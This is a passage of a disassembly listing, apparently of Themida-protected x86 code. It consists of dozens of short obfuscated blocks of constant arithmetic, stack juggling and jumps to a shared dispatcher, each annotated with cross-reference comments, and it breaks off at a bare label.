; ---------------------------------------------------------------------------


loc_5486D6:				; CODE XREF: Themida_:00546C2Fj
		not	ebx
		or	ebx, 3CBB3396h
		push	ebp
		mov	ebp, 0C78F43ADh
		sub	ebx, ebp
		pop	ebp
		mov	esi, ebx
		pop	ebx
		shr	esi, 1
		or	esi, 62500CC1h
		or	esi, 68EF49A6h
		neg	esi
		xor	esi, 38005BC1h
		add	esi, 5CF933BCh
		add	eax, esi
		pop	esi
		xor	dword ptr [eax], 1028001Fh
		mov	eax, [esp]
		add	esp, 4


loc_548715:				; CODE XREF: Themida_:00548EF0j
		push	ecx
		mov	ecx, 33B629Dh
		shr	ecx, 5
		jmp	loc_54E1EB
; ---------------------------------------------------------------------------


loc_548723:				; CODE XREF: Themida_:0054D7B7j
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_54E00B
; ---------------------------------------------------------------------------


loc_54872C:				; CODE XREF: Themida_:005447ABj
		pop	edx
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54873B:				; CODE XREF: Themida_:00547B51j
		push	ebx
		mov	ebx, 679178D4h
		mov	ebp, ebx
		pop	ebx
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5483C4
; ---------------------------------------------------------------------------


loc_548754:				; CODE XREF: Themida_:00544906j
		mov	ecx, [esp]
		jmp	loc_54A398
; ---------------------------------------------------------------------------


loc_54875C:				; CODE XREF: Themida_:00544A25j
		pop	eax
		add	edx, 2
		xor	edx, [esp]
		jmp	loc_5456F9
; ---------------------------------------------------------------------------


loc_548768:				; CODE XREF: Themida_:0054D3A1j
		mov	ecx, 16D70F7Bh
		shr	ecx, 2
		jmp	loc_544D61
; ---------------------------------------------------------------------------


loc_548775:				; CODE XREF: Themida_:00547C5Dj
		add	al, 65h
		add	al, 43h
		sub	al, dl
		jmp	loc_54F755
; ---------------------------------------------------------------------------


loc_548780:				; CODE XREF: Themida_:0054C47Dj
		sub	ecx, 523659Ch
		add	edx, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B9EB
; ---------------------------------------------------------------------------


loc_54879C:				; CODE XREF: Themida_:005463ACj
		mov	[esp], edx
		push	ecx
		mov	cl, 0CAh
		mov	dl, 92h
		neg	dl
		add	dl, 1
		not	dl
		inc	dl
		or	dl, 78h
		add	dl, 0Eh
		xor	dl, cl
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_54F710
; ---------------------------------------------------------------------------


loc_5487CA:				; CODE XREF: Themida_:0054A055j
		add	edi, edx
		pop	edx
		sub	edi, esi
		sub	edi, 51EF4194h
		pop	esi
		add	eax, edi
		jmp	loc_54F4D2
; ---------------------------------------------------------------------------


loc_5487DD:				; CODE XREF: Themida_:00544E69j
		push	edi
		mov	edi, 7DD61074h
		not	edi
		add	edi, 2F105B34h
		shl	edi, 6
		inc	edi
		xor	edi, 1798FB2Bh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, ebp
		push	13BFh
		mov	[esp], ecx
		mov	ecx, 9206E54h
		jmp	loc_544B77
; ---------------------------------------------------------------------------


loc_548811:				; CODE XREF: Themida_:0054CDBAj
		inc	eax
		neg	eax
		add	eax, 15CC435Fh
		xor	eax, 6617A872h
		add	edi, eax
		jmp	loc_54F2E0
; ---------------------------------------------------------------------------


loc_548825:				; CODE XREF: Themida_:00548186j
		push	ecx
		mov	ecx, 31811A34h
		jmp	loc_547AF8
; ---------------------------------------------------------------------------


loc_548830:				; CODE XREF: Themida_:0054DC40j
		xor	esi, 15267DBEh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 7900617Ch
		push	esi
		mov	esi, 5C794BE2h
		add	esi, 6EFC1D8Eh
		push	ebx
		push	edi
		mov	edi, 17E83DBDh
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_547EE6
; ---------------------------------------------------------------------------


loc_548871:				; CODE XREF: Themida_:005469F3j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_548EE7
; ---------------------------------------------------------------------------


loc_54887C:				; CODE XREF: Themida_:0054AD02j
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_545AE2
; ---------------------------------------------------------------------------


loc_54888B:				; CODE XREF: Themida_:00545B23j
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, 3C337758h
		jmp	loc_54CD75
; ---------------------------------------------------------------------------


loc_54889A:				; CODE XREF: Themida_:00546E00j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54A277
; ---------------------------------------------------------------------------


loc_5488AC:				; CODE XREF: Themida_:0054CEA3j
		xor	[esp+1], dl
		jmp	loc_54F894
; ---------------------------------------------------------------------------


loc_5488B5:				; CODE XREF: Themida_:0054FFB0j
		or	ecx, 3DA660E3h
		jmp	loc_54EE98
; ---------------------------------------------------------------------------


loc_5488C0:				; CODE XREF: Themida_:0054716Aj
		add	esp, 4
		sub	bl, 0B0h
		add	bl, al
		push	ecx
		mov	cl, 0DAh
		jmp	loc_54AC98
; ---------------------------------------------------------------------------


loc_5488D3:				; CODE XREF: Themida_:005449F5j
		add	esp, 4
		jmp	loc_54FB65
; ---------------------------------------------------------------------------


loc_5488DE:				; CODE XREF: Themida_:005458CFj
		xor	eax, [esp]
		jmp	loc_5493EA
; ---------------------------------------------------------------------------


loc_5488E6:				; CODE XREF: Themida_:00547BFFj
		neg	ebp
		add	ebp, 4CD13C00h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_54DC45
; ---------------------------------------------------------------------------


loc_548901:				; CODE XREF: Themida_:00546E91j
		neg	ch
		jmp	loc_545AC9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54E4D1
; ---------------------------------------------------------------------------


loc_54892D:				; CODE XREF: Themida_:00549ED0j
		sub	edx, 49F2C494h
		sub	eax, edx
		pop	edx
		sub	eax, esi
		add	eax, 79A170CAh
		mov	esi, [esp]
		jmp	loc_54D178
; ---------------------------------------------------------------------------


loc_548945:				; CODE XREF: Themida_:0054E972j
		add	[esp+4], edi
		sub	dword ptr [esp+4], 14BA506Ah
		sub	dword ptr [esp+4], 436E2128h
		add	dword ptr [esp+4], 66DD24EEh
		push	edx
		mov	edx, 5BBF30F5h
		add	[esp+8], edx
		jmp	loc_54660B
; ---------------------------------------------------------------------------


loc_548970:				; CODE XREF: Themida_:00547092j
		mov	ebx, esp
		jmp	loc_54A02D
; ---------------------------------------------------------------------------


loc_548977:				; CODE XREF: Themida_:005490C0j
		push	eax
		push	53387B2Ch
		pop	eax
		add	eax, 0ACC784D8h
		jmp	loc_54557D
; ---------------------------------------------------------------------------


loc_548988:				; CODE XREF: Themida_:00544D04j
		add	ebp, esi
		sub	ebp, 6C421703h
		jmp	loc_548A07
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_54B7C4
; ---------------------------------------------------------------------------
		mov	eax, 2CA21FCh
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5483CD
; ---------------------------------------------------------------------------


loc_5489B4:				; CODE XREF: Themida_:005460FEj
		push	edi
		mov	edi, 4B2A12A4h
		mov	ebp, 719184DEh
		jmp	loc_5442DF
; ---------------------------------------------------------------------------


loc_5489C4:				; CODE XREF: Themida_:0054BF1Aj
		sub	edi, 7DCF193Eh
		pop	esi
		sub	edi, edx
		jmp	loc_54DA8B
; ---------------------------------------------------------------------------


loc_5489D2:				; CODE XREF: Themida_:005481BDj
		pop	esi
		jmp	loc_5471CC
; ---------------------------------------------------------------------------


loc_5489D8:				; CODE XREF: Themida_:00547463j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54E7B5
; ---------------------------------------------------------------------------


loc_5489E8:				; CODE XREF: Themida_:0054E4DBj
		mov	edi, 217D7E1Bh
		inc	edi
		and	edi, 3A84773Ah
		xor	edi, 2004761Ah
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54A103
; ---------------------------------------------------------------------------


loc_548A07:				; CODE XREF: Themida_:00548990j
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 6903234Fh
		add	ebp, eax
		sub	ebp, 6903234Fh
		pop	eax
		jmp	loc_54BA93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_548A2A:				; CODE XREF: sub_545BCC-16EFj
		add	esp, 4
		pop	ecx
		push	ecx
		mov	ch, 92h
		neg	ch
		not	ch
		jmp	loc_54AE96
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_548A3A:				; CODE XREF: Themida_:0054C1D8j
		mov	edi, esp
		push	edx
		mov	edx, 0A51DF9h
		jmp	loc_54983D
; ---------------------------------------------------------------------------


loc_548A47:				; CODE XREF: Themida_:005447DCj
		mov	eax, 708A5465h
		push	ebp
		jmp	loc_54EB52
; ---------------------------------------------------------------------------


loc_548A52:				; CODE XREF: Themida_:0054AA8Fj
		push	440B1CDCh
		pop	edx
		add	edx, 0BBF4E328h
		mov	ebx, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5475CE
; ---------------------------------------------------------------------------


loc_548A70:				; CODE XREF: Themida_:00547ED7j
		or	ecx, 66F1305Eh
		dec	ecx
		jmp	loc_54405D
; ---------------------------------------------------------------------------


loc_548A7C:				; CODE XREF: Themida_:00548C26j
		mov	ebp, 0DB408E3h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		add	dword ptr [esp], 7DA81641h
		pop	esi
		jmp	loc_548672
; ---------------------------------------------------------------------------


loc_548AA2:				; CODE XREF: Themida_:0054ADF4j
		sub	edi, 5D772206h
		sub	edi, ebp
		jmp	loc_5485CC
; ---------------------------------------------------------------------------


loc_548AAF:				; CODE XREF: Themida_:0054FC7Dj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54E639
; ---------------------------------------------------------------------------


loc_548ABA:				; CODE XREF: Themida_:00545F09j
		push	7BA1h
		jmp	loc_54C3B5
; ---------------------------------------------------------------------------


loc_548AC4:				; CODE XREF: Themida_:00549DBAj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_54F870
; ---------------------------------------------------------------------------


loc_548ACE:				; CODE XREF: Themida_:0054FEB1j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54A539
; ---------------------------------------------------------------------------


loc_548ADB:				; CODE XREF: Themida_:0054DA60j
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54DD89
; ---------------------------------------------------------------------------


loc_548AE8:				; CODE XREF: Themida_:0054C861j
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_54E173
; ---------------------------------------------------------------------------


loc_548AFC:				; CODE XREF: Themida_:0054D28Aj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_545591
; ---------------------------------------------------------------------------


loc_548B0D:				; CODE XREF: Themida_:0054863Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_54FFF1
; ---------------------------------------------------------------------------


loc_548B38:				; CODE XREF: Themida_:005464CFj
		push	ecx
		push	edx
		jmp	loc_545907
; ---------------------------------------------------------------------------


loc_548B3F:				; CODE XREF: Themida_:00546D42j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	1C63h
		mov	[esp], ebp
		mov	ebp, 4B024598h
		or	ebp, 168A55D9h
		jmp	loc_5478C3
; ---------------------------------------------------------------------------


loc_548B5F:				; CODE XREF: Themida_:00548FE0j
		pop	esi
		xor	edi, 39A6854Bh
		mov	ebx, edi
		jmp	loc_545D78
; ---------------------------------------------------------------------------


loc_548B6D:				; CODE XREF: Themida_:0054DF14j
		sub	ecx, 2
		jmp	loc_54E53E
; ---------------------------------------------------------------------------


loc_548B78:				; CODE XREF: Themida_:00548B86j
		pop	ecx
		add	ecx, 4
		jmp	loc_54F312
; ---------------------------------------------------------------------------


loc_548B84:				; CODE XREF: Themida_:005456BEj
		push	ecx
		push	esp
		jmp	loc_548B78
; ---------------------------------------------------------------------------


loc_548B8B:				; CODE XREF: Themida_:0054EC0Aj
		mov	[esp], edx
		jmp	loc_54BD0B
; ---------------------------------------------------------------------------


loc_548B93:				; CODE XREF: Themida_:0054F350j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548B98:				; CODE XREF: Themida_:00544CC6j
		shl	ebx, 6
		push	esi
		mov	esi, 3B501F61h
		add	esi, 2A67E421h
		add	ebx, esi
		pop	esi
		jmp	loc_5473BA
; ---------------------------------------------------------------------------


loc_548BAF:				; CODE XREF: Themida_:00544665j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548BB4:				; CODE XREF: Themida_:00549536j
		push	eax
		jmp	loc_54D171
; ---------------------------------------------------------------------------


loc_548BBA:				; CODE XREF: Themida_:00544CBEj
		mov	ebx, eax
		pop	eax
		sub	eax, ebx
		jmp	loc_54635B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_544BB5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_54B950
; ---------------------------------------------------------------------------


loc_548BE5:				; CODE XREF: Themida_:0054E365j
		pop	edi
		jmp	loc_54C558
; ---------------------------------------------------------------------------


loc_548BEB:				; CODE XREF: Themida_:0054C343j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_54730D
; ---------------------------------------------------------------------------


loc_548BF4:				; CODE XREF: Themida_:00548D62j
		or	eax, eax
		jz	loc_546396
		push	dword ptr [edi+1Ch]
		jmp	loc_545B6C
; ---------------------------------------------------------------------------


loc_548C04:				; CODE XREF: Themida_:0054C76Bj
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5479E1
; ---------------------------------------------------------------------------


loc_548C10:				; CODE XREF: Themida_:00548E44j
		add	ch, 0D7h
		sub	ch, al
		sub	ch, 0D7h
		pop	eax
		add	al, ch
		jmp	loc_5481C2
; ---------------------------------------------------------------------------


loc_548C20:				; CODE XREF: Themida_:0054E478j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548C25:				; CODE XREF: Themida_:0054A691j
		push	ebp
		jmp	loc_548A7C
; ---------------------------------------------------------------------------


loc_548C2B:				; CODE XREF: Themida_:00548DD0j
		push	esi
		push	85C5B49Eh
		pop	esi
		jmp	loc_545280
; ---------------------------------------------------------------------------


loc_548C37:				; CODE XREF: Themida_:0054A5DFj
		add	edx, ebx
		jmp	loc_54CC80
; ---------------------------------------------------------------------------


loc_548C3E:				; CODE XREF: Themida_:0054DA71j
		cmp	cx, ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548C47:				; CODE XREF: Themida_:0054BFEEj
		sub	eax, 0F7DAF12Ch
		mov	edi, eax
		pop	eax
		add	eax, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54AA6A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548C6D:				; CODE XREF: Themida_:0054805Ej
		shl	ebx, 7
		push	edx
		mov	edx, 0BD33B61h
		and	ebx, edx
		pop	edx
		and	ebx, 2E5F2167h
		add	ebx, 176F28ADh
		xor	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 1F1E7913h
		xor	edx, 25E1729Ah
		xor	edx, 0DF265A67h
		xor	edi, edx
		pop	edx
		sub	ebp, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54A6AA
; ---------------------------------------------------------------------------


loc_548CB0:				; CODE XREF: Themida_:00547916j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 455077F3h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_54B2CB
; ---------------------------------------------------------------------------


loc_548CDA:				; CODE XREF: Themida_:0054EB11j
		mov	eax, 47F45892h
		jmp	loc_54ADDA
; ---------------------------------------------------------------------------


loc_548CE4:				; CODE XREF: Themida_:005500A0j
		mov	ebp, 70144186h
		jmp	loc_54DA65
; ---------------------------------------------------------------------------


loc_548CEE:				; CODE XREF: Themida_:0054A1AFj
		push	eax
		jmp	loc_54A9FF
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548CFC:				; CODE XREF: Themida_:00546C06j
		pop	edx
		mov	edx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54F78A
; ---------------------------------------------------------------------------


loc_548D0A:				; CODE XREF: Themida_:0054A879j
		push	edx
		mov	edx, 4
		jmp	loc_54F2F6
; ---------------------------------------------------------------------------


loc_548D15:				; CODE XREF: Themida_:00547796j
		mov	esi, 4F827DEEh
		shr	esi, 6
		jmp	loc_54B6AA
; ---------------------------------------------------------------------------


loc_548D22:				; CODE XREF: Themida_:0054DAFBj
		add	eax, edx
		mov	[eax], ecx
		pop	eax
		jmp	loc_54CCA8
; ---------------------------------------------------------------------------


loc_548D2C:				; CODE XREF: Themida_:0054CD03j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4BA54A89h
		jmp	loc_545ABE
; ---------------------------------------------------------------------------


loc_548D43:				; CODE XREF: Themida_:0054F57Ej
		pop	edx
		jmp	loc_5492AE
; ---------------------------------------------------------------------------


loc_548D49:				; CODE XREF: Themida_:0054DE7Cj
		add	bl, al
		pop	eax
		sub	bl, al
		push	78F9h
		jmp	loc_54B7FD
; ---------------------------------------------------------------------------


loc_548D58:				; CODE XREF: Themida_:0054D0EAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_548BF4
; ---------------------------------------------------------------------------


loc_548D67:				; CODE XREF: Themida_:0054E634j
		add	esi, 0C00C09CEh
		mov	edx, esi
		jmp	loc_549C6E
; ---------------------------------------------------------------------------


loc_548D74:				; CODE XREF: Themida_:0054F035j
		mov	dh, 76h
		mov	bl, dh
		pop	edx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_546874
; ---------------------------------------------------------------------------


loc_548D88:				; CODE XREF: Themida_:00548475j
		xchg	dl, cl
		not	dl
		jmp	loc_547515
; ---------------------------------------------------------------------------


loc_548D91:				; CODE XREF: Themida_:00546A37j
		mov	ah, 5Dh
		push	cx
		mov	cl, 0E9h
		xor	cl, 0EFh
		neg	cl
		xor	cl, 0FEh
		jmp	loc_54650F
; ---------------------------------------------------------------------------


loc_548DA4:				; CODE XREF: Themida_:0054D237j
		sub	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		inc	edi
		not	edi
		sub	edi, 75115306h
		xor	edi, 2C2F57BBh
		sub	ecx, edi
		pop	edi
		push	esi
		jmp	loc_549240
; ---------------------------------------------------------------------------


loc_548DCD:				; CODE XREF: Themida_:0054B76Fj
		sub	eax, ecx
		pop	ecx
		jmp	loc_548C2B
; ---------------------------------------------------------------------------


loc_548DD5:				; CODE XREF: Themida_:00545FD9j
		xor	ebx, esi
		pop	esi
		jmp	loc_549736
; ---------------------------------------------------------------------------


loc_548DDD:				; CODE XREF: Themida_:0054783Fj
		push	ebx
		jmp	loc_54CF53
; ---------------------------------------------------------------------------


loc_548DE3:				; CODE XREF: Themida_:00546A23j
		push	ecx
		mov	ecx, esp
		jmp	loc_54F664
; ---------------------------------------------------------------------------


loc_548DEB:				; CODE XREF: Themida_:0054D2F7j
		pop	ebx
		add	ebx, 26383B21h
		jmp	loc_544DFE
; ---------------------------------------------------------------------------


loc_548DF7:				; CODE XREF: Themida_:0054A8E1j
		pop	eax
		pop	ebx
		jmp	loc_547A49
; ---------------------------------------------------------------------------


loc_548DFE:				; CODE XREF: Themida_:0054DBBAj
		add	eax, 35173F81h
		push	esi
		jmp	loc_54D04A
; ---------------------------------------------------------------------------


loc_548E09:				; CODE XREF: Themida_:0054BC14j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4F505884h
		push	esi
		jmp	loc_549326
; ---------------------------------------------------------------------------


loc_548E1B:				; CODE XREF: Themida_:0054F438j
		pop	edi
		sub	edi, 3DCA171Fh
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 13982458h
		or	edx, 5DA31F6Eh
		jmp	loc_54D7A4
; ---------------------------------------------------------------------------


loc_548E39:				; CODE XREF: Themida_:00549062j
		dec	bh
		sub	bh, 49h
		xor	bh, 65h
		add	al, bh
		pop	ebx
		jmp	loc_548C10
; ---------------------------------------------------------------------------


loc_548E49:				; CODE XREF: Themida_:0054DF6Fj
		push	611D14EFh
		pop	ecx
		add	ecx, 0E96C6463h
		push	ecx
		pop	edx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54CF95
; ---------------------------------------------------------------------------


loc_548E6B:				; CODE XREF: Themida_:0054AFF6j
		mov	ebp, esp
		jmp	loc_546CEE
; ---------------------------------------------------------------------------


loc_548E72:				; CODE XREF: Themida_:00546960j
		pop	esp
		jmp	loc_5450B3
; ---------------------------------------------------------------------------


loc_548E78:				; CODE XREF: Themida_:0054F1CCj
		mov	ecx, 77A9112Eh
		dec	ecx
		jmp	loc_549886
; ---------------------------------------------------------------------------


loc_548E83:				; CODE XREF: Themida_:005455DAj
		pop	ecx
		mov	bh, al
		jmp	loc_5454EE
; ---------------------------------------------------------------------------


loc_548E8B:				; CODE XREF: Themida_:005452E9j
		add	ecx, 13DE7857h
		or	ecx, 3C10865h
		add	ecx, 0B02C5285h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5480F2
; ---------------------------------------------------------------------------


loc_548EA5:				; CODE XREF: Themida_:00547F5Dj
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548EAA:				; CODE XREF: Themida_:0054F286j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_550019
; ---------------------------------------------------------------------------


loc_548EB8:				; CODE XREF: Themida_:0054FC22j
		sub	edx, eax
		jmp	loc_54D877
; ---------------------------------------------------------------------------


loc_548EBF:				; CODE XREF: Themida_:0054F242j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_545957
; ---------------------------------------------------------------------------


loc_548EC8:				; CODE XREF: Themida_:00545ED0j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_544055
; ---------------------------------------------------------------------------


loc_548ED6:				; CODE XREF: Themida_:0054480Cj
		xchg	ebp, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_548EE7:				; CODE XREF: Themida_:00548877j
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		or	ecx, ecx
		jz	loc_548715
		sub	esp, 4
		push	esp
		jmp	loc_546FEE
; ---------------------------------------------------------------------------


loc_548F02:				; CODE XREF: Themida_:00549E11j
		mov	esp, [esp]
		jmp	loc_54540F
; ---------------------------------------------------------------------------


loc_548F0A:				; CODE XREF: Themida_:0054E539j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_54FE78
; ---------------------------------------------------------------------------


loc_548F15:				; CODE XREF: Themida_:005492DAj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5483E5
; ---------------------------------------------------------------------------


loc_548F29:				; CODE XREF: Themida_:0054F05Bj
		mov	esi, eax
		pop	eax
		sub	esi, 2F637E58h
		jmp	loc_544ACB
; ---------------------------------------------------------------------------


loc_548F37:				; CODE XREF: Themida_:0054841Bj
		add	ch, 92h
		jmp	loc_5498C2
; ---------------------------------------------------------------------------


loc_548F3F:				; CODE XREF: Themida_:00545FDFj
		mov	eax, 7F49241Ch
		mov	ebp, eax
		jmp	loc_54C431
; ---------------------------------------------------------------------------


loc_548F4B:				; CODE XREF: Themida_:0054512Bj
		add	ebp, 7A723D36h
		jmp	loc_54A49E
; ---------------------------------------------------------------------------


loc_548F56:				; CODE XREF: Themida_:0054D310j
		push	esi
		jmp	loc_54FEE2
; ---------------------------------------------------------------------------


loc_548F5C:				; CODE XREF: Themida_:00546E4Bj
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		sub	cl, 1
		push	4B4h
		mov	[esp], edx
		mov	dh, 59h
		and	cl, dh
		pop	edx
		sub	cl, 0D0h
		xor	cl, 0A4h
		sub	al, cl
		pop	ecx
		add	bl, 49h
		add	bl, al
		push	1FFFh
		jmp	loc_546A34
; ---------------------------------------------------------------------------


loc_548F8B:				; CODE XREF: Themida_:00549097j
		push	ecx
		jmp	loc_54E6DC
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		jmp	loc_54C5F9
; ---------------------------------------------------------------------------


loc_548F9D:				; CODE XREF: Themida_:0054BE2Fj
		push	4C8A4A89h
		pop	edi
		jmp	loc_54D0EF
; ---------------------------------------------------------------------------


loc_548FA8:				; CODE XREF: Themida_:0054BD90j
		add	esp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F199
; ---------------------------------------------------------------------------


loc_548FBD:				; CODE XREF: Themida_:005464FCj
		mov	[esp], edx
		mov	edx, 270E7429h
		mov	eax, 47193F7Bh
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_54B76A
; ---------------------------------------------------------------------------


loc_548FD8:				; CODE XREF: Themida_:00544125j
		push	esi
		mov	esi, 486F6C03h
		add	edi, esi
		jmp	loc_548B5F
; ---------------------------------------------------------------------------


loc_548FE5:				; CODE XREF: Themida_:0054E8D4j
		pop	esp
		jmp	loc_546EA8
; ---------------------------------------------------------------------------


loc_548FEB:				; CODE XREF: Themida_:00547C0Bj
		mov	ebp, 0C2D58636h
		sub	ebx, ebp
		pop	ebp
		sub	eax, ebx
		pop	ebx
		sub	eax, ebx
		jmp	loc_54B1CA
; ---------------------------------------------------------------------------


loc_548FFD:				; CODE XREF: Themida_:00549345j
		add	edx, edi
		pop	edi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 390359A5h
		inc	ebp
		neg	ebp
		push	6AFCh
		mov	[esp], edx
		mov	edx, 5FF92218h
		or	ebp, edx
		pop	edx
		sub	ebp, 0DFFDA656h
		add	ecx, ebp
		jmp	loc_54F920
; ---------------------------------------------------------------------------


loc_549043:				; CODE XREF: Themida_:0054A4FFj
		add	esp, 4
		push	5C77h
		mov	[esp], edx
		jmp	loc_54D52A
; ---------------------------------------------------------------------------


loc_549056:				; CODE XREF: Themida_:0054EFA8j
		shl	ch, 5
		push	eax
		mov	al, 2Bh
		push	ebx
		mov	bh, 7Bh
		shr	bh, 3
		jmp	loc_548E39
; ---------------------------------------------------------------------------


loc_549067:				; CODE XREF: Themida_:0054F79Aj
		mov	edx, [esp]
		jmp	loc_54580B
; ---------------------------------------------------------------------------


loc_54906F:				; CODE XREF: Themida_:0054A18Dj
		pop	ebp
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		div	cx
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_549ED5
; ---------------------------------------------------------------------------


loc_54908B:				; CODE XREF: Themida_:0054B6A5j
		pop	esp
		neg	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_548F8B
; ---------------------------------------------------------------------------


loc_54909C:				; CODE XREF: Themida_:005472DEj
		add	ebx, 2FF134F0h
		add	ebx, ecx
		sub	ebx, 2FF134F0h
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54F0FF
; ---------------------------------------------------------------------------


loc_5490B9:				; CODE XREF: Themida_:0054D6C4j
		add	esp, 4
		push	esi
		jmp	loc_548977
; ---------------------------------------------------------------------------


loc_5490C5:				; CODE XREF: Themida_:00546915j
		mov	ch, 0EEh
		mov	dl, 0B4h
		sub	dl, ch
		jmp	loc_544A3D
; ---------------------------------------------------------------------------


loc_5490D0:				; CODE XREF: Themida_:00544A75j
		pop	ebp
		and	ebx, 73D90926h
		jmp	loc_54B2EB
; ---------------------------------------------------------------------------


loc_5490DC:				; CODE XREF: Themida_:00544CD0j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5490E1:				; CODE XREF: Themida_:005455A7j
